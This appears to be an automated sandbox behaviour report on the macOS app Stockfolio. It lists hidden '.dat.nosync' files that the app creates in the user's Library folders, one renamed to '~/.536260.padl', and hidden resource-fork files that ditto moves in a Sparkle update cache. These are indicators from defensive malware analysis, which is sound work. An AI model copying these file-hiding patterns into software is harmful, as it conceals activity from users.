Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.sQzdGGJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.FHu4QBJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.ZMSVRrJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/.dat.nosync02f1.eDhrbCJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/.dat.nosync02f1.gFq5weJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/com.app.stocks/.dat.nosync02f1.PcSFQEJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/com.app.stocks/.dat.nosync02f1.LDOiImJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file moved: /Users/henry/.dat.nosync02f1.MRQ5cB -> /Users/henry/.536260.padlJump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/_CodeSignature/.BC.T_vvOCsD -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/_CodeSignature/._CodeResources__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/.BC.T_EZXJtL -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/.__CodeSignature__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/MacOS/.BC.T_cRbQqp -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/MacOS/._Stockfolio__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/.BC.T_mslyH5 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/._MacOS__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_2fRRcA -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._star-icon@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_GVf6PO -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._menu-arrow@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_FkeRUG -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._Stocks.icns__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_m4wp9W -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-lastupdated.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_N1dq1i -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._menu-arrow@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_e9atmj -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-more-arrow.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_HffPY4 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-checkmark-white.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_TMlwak -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_A323uN -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-move.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_ZuPHsn -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._menu-logo-white@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_iCER3B -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-search.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_mg7RZk -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-checkmark.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_BDURrj -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-close.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_p9weuF -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._toolbar-arrow-green@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_AvQAaI -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._star-icon-full.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_VCzKhq -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-sprite-1.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_0w1Ric -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-button-settings-active.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_mxxj3Z -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-portfolio-addportfolio.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_Lx9I9j -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-more-arrow-white.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_bbKVkY -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-button-settings.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_mhN0gW -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sort-off.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_4PUxoO -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sidebar-arrow-reverse@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_fe94Hn -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sidebar-arrow@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_3vuVAA -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-portfolio-calendar.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_Ul8XBt -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sort-up.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_6yns4B -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-2.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_4sX4Rf -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._portfolio-empty@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_XIexFv -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-watchlist-off.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_G2z2Kt -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sort-down.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_2L2Wet -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._dropdown-arrow.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_FmBKoO -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._portfolio-empty-search.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_TzYbMO -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-portfolio-percentage.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_FHtl49 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-watchlist-on.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_5lwdbq -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._watchlist-li-background.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_MJIBsG -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-tiny@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_Vwco5e -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._star-icon.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_LZEpdF -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-sprite@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_xYn4O2 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-clone.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_16ovta -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-portfolio-search.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_pNPT45 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-portfolio-addtransaction.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_qAMUtS -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-button-add-active.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_1PHXbE -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-search-active.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_w9XPFh -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-watchlist-off-active.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_JKT5HP -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-sprite.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_cELdjP -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._menu-logo@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_QXQ3fJ -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-search-clear.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_NRZgJI -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._menu-arrow-red@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_bw5ZNF -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._toolbar-arrow-red@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_e2B3V6 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-button-add.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_VV9s5s -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-watchlist-off-hover.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_VmfCbt -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-delete.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_1UIijQ -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sidebar-icon.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/.BC.T_5Op44a -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/._images__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/.BC.T_o1V71k -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/._production__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_2LA323 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._App__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_trLLpb -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._toolbar-arrow-green@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_RICsLF -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._sidebar-icon@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_gjMeHW -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._AppleIncRootCertificate.cer__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_yPUTIY -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._AppMainWindowController.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_sjk05L -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._star-icon-selected@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/Base.lproj/.BC.T_s7uVVN -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/Base.lproj/._MainMenu.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_wn8nMw -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._Base.lproj__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_4NxkaU -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._icon-tiny@2x.png__Jump to behavior
